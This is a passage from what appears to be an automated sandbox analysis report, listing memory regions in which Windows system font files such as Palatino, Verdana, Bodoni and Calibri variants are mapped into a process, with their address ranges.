= 0x685fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palai.ttf" filename = "\\Windows\\Fonts\\palai.ttf" (normalized: "c:\\windows\\fonts\\palai.ttf") Region: id = 874 start_va = 0x620000 end_va = 0x685fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palai.ttf" filename = "\\Windows\\Fonts\\palai.ttf" (normalized: "c:\\windows\\fonts\\palai.ttf") Region: id = 875 start_va = 0x620000 end_va = 0x686fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palab.ttf" filename = "\\Windows\\Fonts\\palab.ttf" (normalized: "c:\\windows\\fonts\\palab.ttf") Region: id = 876 start_va = 0x620000 end_va = 0x686fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palab.ttf" filename = "\\Windows\\Fonts\\palab.ttf" (normalized: "c:\\windows\\fonts\\palab.ttf") Region: id = 877 start_va = 0x620000 end_va = 0x672fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palabi.ttf" filename = "\\Windows\\Fonts\\palabi.ttf" (normalized: "c:\\windows\\fonts\\palabi.ttf") Region: id = 878 start_va = 0x620000 end_va = 0x672fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palabi.ttf" filename = "\\Windows\\Fonts\\palabi.ttf" (normalized: "c:\\windows\\fonts\\palabi.ttf") Region: id = 879 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoepr.ttf" filename = "\\Windows\\Fonts\\segoepr.ttf" (normalized: "c:\\windows\\fonts\\segoepr.ttf") Region: id = 880 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoepr.ttf" filename = "\\Windows\\Fonts\\segoepr.ttf" (normalized: "c:\\windows\\fonts\\segoepr.ttf") Region: id = 881 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeprb.ttf" filename = "\\Windows\\Fonts\\segoeprb.ttf" (normalized: "c:\\windows\\fonts\\segoeprb.ttf") Region: id = 882 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeprb.ttf" filename = "\\Windows\\Fonts\\segoeprb.ttf" (normalized: "c:\\windows\\fonts\\segoeprb.ttf") Region: id = 883 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebuc.ttf" filename = "\\Windows\\Fonts\\trebuc.ttf" (normalized: "c:\\windows\\fonts\\trebuc.ttf") Region: id = 884 start_va = 0x3f0000 end_va = 0x411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebuc.ttf" filename = "\\Windows\\Fonts\\trebuc.ttf" (normalized: "c:\\windows\\fonts\\trebuc.ttf") Region: id = 885 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucit.ttf" filename = "\\Windows\\Fonts\\trebucit.ttf" (normalized: "c:\\windows\\fonts\\trebucit.ttf") Region: id = 886 start_va = 0x3f0000 end_va = 0x412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucit.ttf" filename = "\\Windows\\Fonts\\trebucit.ttf" (normalized: "c:\\windows\\fonts\\trebucit.ttf") Region: id = 887 start_va = 0x2d0000 end_va = 0x2eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbd.ttf" filename = "\\Windows\\Fonts\\trebucbd.ttf" (normalized: "c:\\windows\\fonts\\trebucbd.ttf") Region: id = 888 start_va = 0x2d0000 end_va = 0x2eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbd.ttf" filename = "\\Windows\\Fonts\\trebucbd.ttf" (normalized: "c:\\windows\\fonts\\trebucbd.ttf") Region: id = 889 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbi.ttf" filename = "\\Windows\\Fonts\\trebucbi.ttf" (normalized: "c:\\windows\\fonts\\trebucbi.ttf") Region: id = 890 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbi.ttf" filename = "\\Windows\\Fonts\\trebucbi.ttf" (normalized: "c:\\windows\\fonts\\trebucbi.ttf") Region: id = 891 start_va = 0x3f0000 end_va = 0x41dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdana.ttf" filename = "\\Windows\\Fonts\\verdana.ttf" (normalized: "c:\\windows\\fonts\\verdana.ttf") Region: id = 892 start_va = 0x3f0000 end_va = 0x41dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdana.ttf" filename = "\\Windows\\Fonts\\verdana.ttf" (normalized: "c:\\windows\\fonts\\verdana.ttf") Region: id = 893 start_va = 0x3f0000 end_va = 0x41bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanai.ttf" filename = "\\Windows\\Fonts\\verdanai.ttf" (normalized: "c:\\windows\\fonts\\verdanai.ttf") Region: id = 894 start_va = 0x3f0000 end_va = 0x41bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanai.ttf" filename = "\\Windows\\Fonts\\verdanai.ttf" (normalized: "c:\\windows\\fonts\\verdanai.ttf") Region: id = 895 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanab.ttf" filename = "\\Windows\\Fonts\\verdanab.ttf" (normalized: "c:\\windows\\fonts\\verdanab.ttf") Region: id = 896 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanab.ttf" filename = "\\Windows\\Fonts\\verdanab.ttf" (normalized: "c:\\windows\\fonts\\verdanab.ttf") Region: id = 897 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanaz.ttf" filename = "\\Windows\\Fonts\\verdanaz.ttf" (normalized: "c:\\windows\\fonts\\verdanaz.ttf") Region: id = 898 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanaz.ttf" filename = "\\Windows\\Fonts\\verdanaz.ttf" (normalized: "c:\\windows\\fonts\\verdanaz.ttf") Region: id = 899 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "webdings.ttf" filename = "\\Windows\\Fonts\\webdings.ttf" (normalized: "c:\\windows\\fonts\\webdings.ttf") Region: id = 900 start_va = 0x2d0000 end_va = 0x2edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "webdings.ttf" filename = "\\Windows\\Fonts\\webdings.ttf" (normalized: "c:\\windows\\fonts\\webdings.ttf") Region: id = 901 start_va = 0x2d0000 end_va = 0x2d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coure.fon" filename = "\\Windows\\Fonts\\coure.fon" (normalized: "c:\\windows\\fonts\\coure.fon") Region: id = 902 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "serife.fon" filename = "\\Windows\\Fonts\\serife.fon" (normalized: "c:\\windows\\fonts\\serife.fon") Region: id = 903 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sserife.fon" filename = "\\Windows\\Fonts\\sserife.fon" (normalized: "c:\\windows\\fonts\\sserife.fon") Region: id = 904 start_va = 0x2d0000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smalle.fon" filename = "\\Windows\\Fonts\\smalle.fon" (normalized: "c:\\windows\\fonts\\smalle.fon") Region: id = 905 start_va = 0x2d0000 end_va = 0x2d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smallf.fon" filename = "\\Windows\\Fonts\\smallf.fon" (normalized: "c:\\windows\\fonts\\smallf.fon") Region: id = 906 start_va = 0x4f90000 end_va = 0x50d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmala.ttf" filename = "\\Windows\\Fonts\\NIRMALA.TTF" (normalized: "c:\\windows\\fonts\\nirmala.ttf") Region: id = 907 start_va = 0x4f90000 end_va = 0x50d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmala.ttf" filename = "\\Windows\\Fonts\\NIRMALA.TTF" (normalized: "c:\\windows\\fonts\\nirmala.ttf") Region: id = 908 start_va = 0x4f90000 end_va = 0x50ccfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmalab.ttf" filename = "\\Windows\\Fonts\\NIRMALAB.TTF" (normalized: "c:\\windows\\fonts\\nirmalab.ttf") Region: id = 909 start_va = 0x4f90000 end_va = 0x50ccfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmalab.ttf" filename = "\\Windows\\Fonts\\NIRMALAB.TTF" (normalized: "c:\\windows\\fonts\\nirmalab.ttf") Region: id = 910 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyb.ttf" filename = "\\Windows\\Fonts\\AGENCYB.TTF" (normalized: "c:\\windows\\fonts\\agencyb.ttf") Region: id = 911 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyb.ttf" filename = "\\Windows\\Fonts\\AGENCYB.TTF" (normalized: "c:\\windows\\fonts\\agencyb.ttf") Region: id = 912 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyr.ttf" filename = "\\Windows\\Fonts\\AGENCYR.TTF" (normalized: "c:\\windows\\fonts\\agencyr.ttf") Region: id = 913 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyr.ttf" filename = "\\Windows\\Fonts\\AGENCYR.TTF" (normalized: "c:\\windows\\fonts\\agencyr.ttf") Region: id = 914 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alger.ttf" filename = "\\Windows\\Fonts\\ALGER.TTF" (normalized: "c:\\windows\\fonts\\alger.ttf") Region: id = 915 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alger.ttf" filename = "\\Windows\\Fonts\\ALGER.TTF" (normalized: "c:\\windows\\fonts\\alger.ttf") Region: id = 916 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquab.ttf" filename = "\\Windows\\Fonts\\ANTQUAB.TTF" (normalized: "c:\\windows\\fonts\\antquab.ttf") Region: id = 917 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquab.ttf" filename = "\\Windows\\Fonts\\ANTQUAB.TTF" (normalized: "c:\\windows\\fonts\\antquab.ttf") Region: id = 918 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquabi.ttf" filename = "\\Windows\\Fonts\\ANTQUABI.TTF" (normalized: "c:\\windows\\fonts\\antquabi.ttf") Region: id = 919 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquabi.ttf" filename = "\\Windows\\Fonts\\ANTQUABI.TTF" (normalized: "c:\\windows\\fonts\\antquabi.ttf") Region: id = 920 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquai.ttf" filename = "\\Windows\\Fonts\\ANTQUAI.TTF" (normalized: "c:\\windows\\fonts\\antquai.ttf") Region: id = 921 start_va = 0x3f0000 end_va = 0x414fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquai.ttf" filename = "\\Windows\\Fonts\\ANTQUAI.TTF" (normalized: "c:\\windows\\fonts\\antquai.ttf") Region: id = 922 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialn.ttf" filename = "\\Windows\\Fonts\\ARIALN.TTF" (normalized: "c:\\windows\\fonts\\arialn.ttf") Region: id = 923 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialn.ttf" filename = "\\Windows\\Fonts\\ARIALN.TTF" (normalized: "c:\\windows\\fonts\\arialn.ttf") Region: id = 924 start_va = 0x3f0000 end_va = 0x41cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnb.ttf" filename = "\\Windows\\Fonts\\ARIALNB.TTF" (normalized: "c:\\windows\\fonts\\arialnb.ttf") Region: id = 925 start_va = 0x3f0000 end_va = 0x41cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnb.ttf" filename = "\\Windows\\Fonts\\ARIALNB.TTF" (normalized: "c:\\windows\\fonts\\arialnb.ttf") Region: id = 926 start_va = 0x3f0000 end_va = 0x41bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnbi.ttf" filename = "\\Windows\\Fonts\\ARIALNBI.TTF" (normalized: "c:\\windows\\fonts\\arialnbi.ttf") Region: id = 927 start_va = 0x3f0000 end_va = 0x41bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnbi.ttf" filename = "\\Windows\\Fonts\\ARIALNBI.TTF" (normalized: "c:\\windows\\fonts\\arialnbi.ttf") Region: id = 928 start_va = 0x3f0000 end_va = 0x41cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialni.ttf" filename = "\\Windows\\Fonts\\ARIALNI.TTF" (normalized: "c:\\windows\\fonts\\arialni.ttf") Region: id = 929 start_va = 0x3f0000 end_va = 0x41cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialni.ttf" filename = "\\Windows\\Fonts\\ARIALNI.TTF" (normalized: "c:\\windows\\fonts\\arialni.ttf") Region: id = 930 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arlrdbd.ttf" filename = "\\Windows\\Fonts\\ARLRDBD.TTF" (normalized: "c:\\windows\\fonts\\arlrdbd.ttf") Region: id = 931 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arlrdbd.ttf" filename = "\\Windows\\Fonts\\ARLRDBD.TTF" (normalized: "c:\\windows\\fonts\\arlrdbd.ttf") Region: id = 932 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "baskvill.ttf" filename = "\\Windows\\Fonts\\BASKVILL.TTF" (normalized: "c:\\windows\\fonts\\baskvill.ttf") Region: id = 933 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "baskvill.ttf" filename = "\\Windows\\Fonts\\BASKVILL.TTF" (normalized: "c:\\windows\\fonts\\baskvill.ttf") Region: id = 934 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bauhs93.ttf" filename = "\\Windows\\Fonts\\BAUHS93.TTF" (normalized: "c:\\windows\\fonts\\bauhs93.ttf") Region: id = 935 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bauhs93.ttf" filename = "\\Windows\\Fonts\\BAUHS93.TTF" (normalized: "c:\\windows\\fonts\\bauhs93.ttf") Region: id = 936 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bell.ttf" filename = "\\Windows\\Fonts\\BELL.TTF" (normalized: "c:\\windows\\fonts\\bell.ttf") Region: id = 937 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bell.ttf" filename = "\\Windows\\Fonts\\BELL.TTF" (normalized: "c:\\windows\\fonts\\bell.ttf") Region: id = 938 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bellb.ttf" filename = "\\Windows\\Fonts\\BELLB.TTF" (normalized: "c:\\windows\\fonts\\bellb.ttf") Region: id = 939 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bellb.ttf" filename = "\\Windows\\Fonts\\BELLB.TTF" (normalized: "c:\\windows\\fonts\\bellb.ttf") Region: id = 940 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "belli.ttf" filename = "\\Windows\\Fonts\\BELLI.TTF" (normalized: "c:\\windows\\fonts\\belli.ttf") Region: id = 941 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "belli.ttf" filename = "\\Windows\\Fonts\\BELLI.TTF" (normalized: "c:\\windows\\fonts\\belli.ttf") Region: id = 942 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bernhc.ttf" filename = "\\Windows\\Fonts\\BERNHC.TTF" (normalized: "c:\\windows\\fonts\\bernhc.ttf") Region: id = 943 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bernhc.ttf" filename = "\\Windows\\Fonts\\BERNHC.TTF" (normalized: "c:\\windows\\fonts\\bernhc.ttf") Region: id = 944 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bkant.ttf" filename = "\\Windows\\Fonts\\BKANT.TTF" (normalized: "c:\\windows\\fonts\\bkant.ttf") Region: id = 945 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bkant.ttf" filename = "\\Windows\\Fonts\\BKANT.TTF" (normalized: "c:\\windows\\fonts\\bkant.ttf") Region: id = 946 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_b.ttf" filename = "\\Windows\\Fonts\\BOD_B.TTF" (normalized: "c:\\windows\\fonts\\bod_b.ttf") Region: id = 947 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_b.ttf" filename = "\\Windows\\Fonts\\BOD_B.TTF" (normalized: "c:\\windows\\fonts\\bod_b.ttf") Region: id = 948 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_bi.ttf" filename = "\\Windows\\Fonts\\BOD_BI.TTF" (normalized: "c:\\windows\\fonts\\bod_bi.ttf") Region: id = 949 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_bi.ttf" filename = "\\Windows\\Fonts\\BOD_BI.TTF" (normalized: "c:\\windows\\fonts\\bod_bi.ttf") Region: id = 950 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blai.ttf" filename = "\\Windows\\Fonts\\BOD_BLAI.TTF" (normalized: "c:\\windows\\fonts\\bod_blai.ttf") Region: id = 951 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blai.ttf" filename = "\\Windows\\Fonts\\BOD_BLAI.TTF" (normalized: "c:\\windows\\fonts\\bod_blai.ttf") Region: id = 952 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blar.ttf" filename = "\\Windows\\Fonts\\BOD_BLAR.TTF" (normalized: "c:\\windows\\fonts\\bod_blar.ttf") Region: id = 953 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blar.ttf" filename = "\\Windows\\Fonts\\BOD_BLAR.TTF" (normalized: "c:\\windows\\fonts\\bod_blar.ttf") Region: id = 954 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cb.ttf" filename = "\\Windows\\Fonts\\BOD_CB.TTF" (normalized: "c:\\windows\\fonts\\bod_cb.ttf") Region: id = 955 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cb.ttf" filename = "\\Windows\\Fonts\\BOD_CB.TTF" (normalized: "c:\\windows\\fonts\\bod_cb.ttf") Region: id = 956 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cbi.ttf" filename = "\\Windows\\Fonts\\BOD_CBI.TTF" (normalized: "c:\\windows\\fonts\\bod_cbi.ttf") Region: id = 957 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cbi.ttf" filename = "\\Windows\\Fonts\\BOD_CBI.TTF" (normalized: "c:\\windows\\fonts\\bod_cbi.ttf") Region: id = 958 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_ci.ttf" filename = "\\Windows\\Fonts\\BOD_CI.TTF" (normalized: "c:\\windows\\fonts\\bod_ci.ttf") Region: id = 959 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_ci.ttf" filename = "\\Windows\\Fonts\\BOD_CI.TTF" (normalized: "c:\\windows\\fonts\\bod_ci.ttf") Region: id = 960 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cr.ttf" filename = "\\Windows\\Fonts\\BOD_CR.TTF" (normalized: "c:\\windows\\fonts\\bod_cr.ttf") Region: id = 961 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cr.ttf" filename = "\\Windows\\Fonts\\BOD_CR.TTF" (normalized: "c:\\windows\\fonts\\bod_cr.ttf") Region: id = 962 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_i.ttf" filename = "\\Windows\\Fonts\\BOD_I.TTF" (normalized: "c:\\windows\\fonts\\bod_i.ttf") Region: id = 963 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_i.ttf" filename = "\\Windows\\Fonts\\BOD_I.TTF" (normalized: "c:\\windows\\fonts\\bod_i.ttf") Region: id = 964 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_pstc.ttf" filename = "\\Windows\\Fonts\\BOD_PSTC.TTF" (normalized: "c:\\windows\\fonts\\bod_pstc.ttf") Region: id = 965 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_pstc.ttf" filename = "\\Windows\\Fonts\\BOD_PSTC.TTF" (normalized: "c:\\windows\\fonts\\bod_pstc.ttf") Region: id = 966 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_r.ttf" filename = "\\Windows\\Fonts\\BOD_R.TTF" (normalized: "c:\\windows\\fonts\\bod_r.ttf") Region: id = 967 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_r.ttf" filename = "\\Windows\\Fonts\\BOD_R.TTF" (normalized: "c:\\windows\\fonts\\bod_r.ttf") Region: id = 968 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookos.ttf" filename = "\\Windows\\Fonts\\BOOKOS.TTF" (normalized: "c:\\windows\\fonts\\bookos.ttf") Region: id = 969 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookos.ttf" filename = "\\Windows\\Fonts\\BOOKOS.TTF" (normalized: "c:\\windows\\fonts\\bookos.ttf") Region: id = 970 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosb.ttf" filename = "\\Windows\\Fonts\\BOOKOSB.TTF" (normalized: "c:\\windows\\fonts\\bookosb.ttf") Region: id = 971 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosb.ttf" filename = "\\Windows\\Fonts\\BOOKOSB.TTF" (normalized: "c:\\windows\\fonts\\bookosb.ttf") Region: id = 972 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosbi.ttf" filename = "\\Windows\\Fonts\\BOOKOSBI.TTF" (normalized: "c:\\windows\\fonts\\bookosbi.ttf") Region: id = 973 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosbi.ttf" filename = "\\Windows\\Fonts\\BOOKOSBI.TTF" (normalized: "c:\\windows\\fonts\\bookosbi.ttf") Region: id = 974 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosi.ttf" filename = "\\Windows\\Fonts\\BOOKOSI.TTF" (normalized: "c:\\windows\\fonts\\bookosi.ttf") Region: id = 975 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosi.ttf" filename = "\\Windows\\Fonts\\BOOKOSI.TTF" (normalized: "c:\\windows\\fonts\\bookosi.ttf") Region: id = 976 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bradhitc.ttf" filename = "\\Windows\\Fonts\\BRADHITC.TTF" (normalized: "c:\\windows\\fonts\\bradhitc.ttf") Region: id = 977 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bradhitc.ttf" filename = "\\Windows\\Fonts\\BRADHITC.TTF" (normalized: "c:\\windows\\fonts\\bradhitc.ttf") Region: id = 978 start_va = 0x2d0000 end_va = 0x2d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "britanic.ttf" filename = "\\Windows\\Fonts\\BRITANIC.TTF" (normalized: "c:\\windows\\fonts\\britanic.ttf") Region: id = 979 start_va = 0x2d0000 end_va = 0x2d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "britanic.ttf" filename = "\\Windows\\Fonts\\BRITANIC.TTF" (normalized: "c:\\windows\\fonts\\britanic.ttf") Region: id = 980 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsb.ttf" filename = "\\Windows\\Fonts\\BRLNSB.TTF" (normalized: "c:\\windows\\fonts\\brlnsb.ttf") Region: id = 981 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsb.ttf" filename = "\\Windows\\Fonts\\BRLNSB.TTF" (normalized: "c:\\windows\\fonts\\brlnsb.ttf") Region: id = 982 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsdb.ttf" filename = "\\Windows\\Fonts\\BRLNSDB.TTF" (normalized: "c:\\windows\\fonts\\brlnsdb.ttf") Region: id = 983 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsdb.ttf" filename = "\\Windows\\Fonts\\BRLNSDB.TTF" (normalized: "c:\\windows\\fonts\\brlnsdb.ttf") Region: id = 984 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsr.ttf" filename = "\\Windows\\Fonts\\BRLNSR.TTF" (normalized: "c:\\windows\\fonts\\brlnsr.ttf") Region: id = 985 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brlnsr.ttf" filename = "\\Windows\\Fonts\\BRLNSR.TTF" (normalized: "c:\\windows\\fonts\\brlnsr.ttf") Region: id = 986 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "broadw.ttf" filename = "\\Windows\\Fonts\\BROADW.TTF" (normalized: "c:\\windows\\fonts\\broadw.ttf") Region: id = 987 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "broadw.ttf" filename = "\\Windows\\Fonts\\BROADW.TTF" (normalized: "c:\\windows\\fonts\\broadw.ttf") Region: id = 988 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brushsci.ttf" filename = "\\Windows\\Fonts\\BRUSHSCI.TTF" (normalized: "c:\\windows\\fonts\\brushsci.ttf") Region: id = 989 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "brushsci.ttf" filename = "\\Windows\\Fonts\\BRUSHSCI.TTF" (normalized: "c:\\windows\\fonts\\brushsci.ttf") Region: id = 990 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bssym7.ttf" filename = "\\Windows\\Fonts\\BSSYM7.TTF" (normalized: "c:\\windows\\fonts\\bssym7.ttf") Region: id = 991 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bssym7.ttf" filename = "\\Windows\\Fonts\\BSSYM7.TTF" (normalized: "c:\\windows\\fonts\\bssym7.ttf") Region: id = 992 start_va = 0x4cd0000 end_va = 0x4d89fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 993 start_va = 0x4cd0000 end_va = 0x4d89fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: 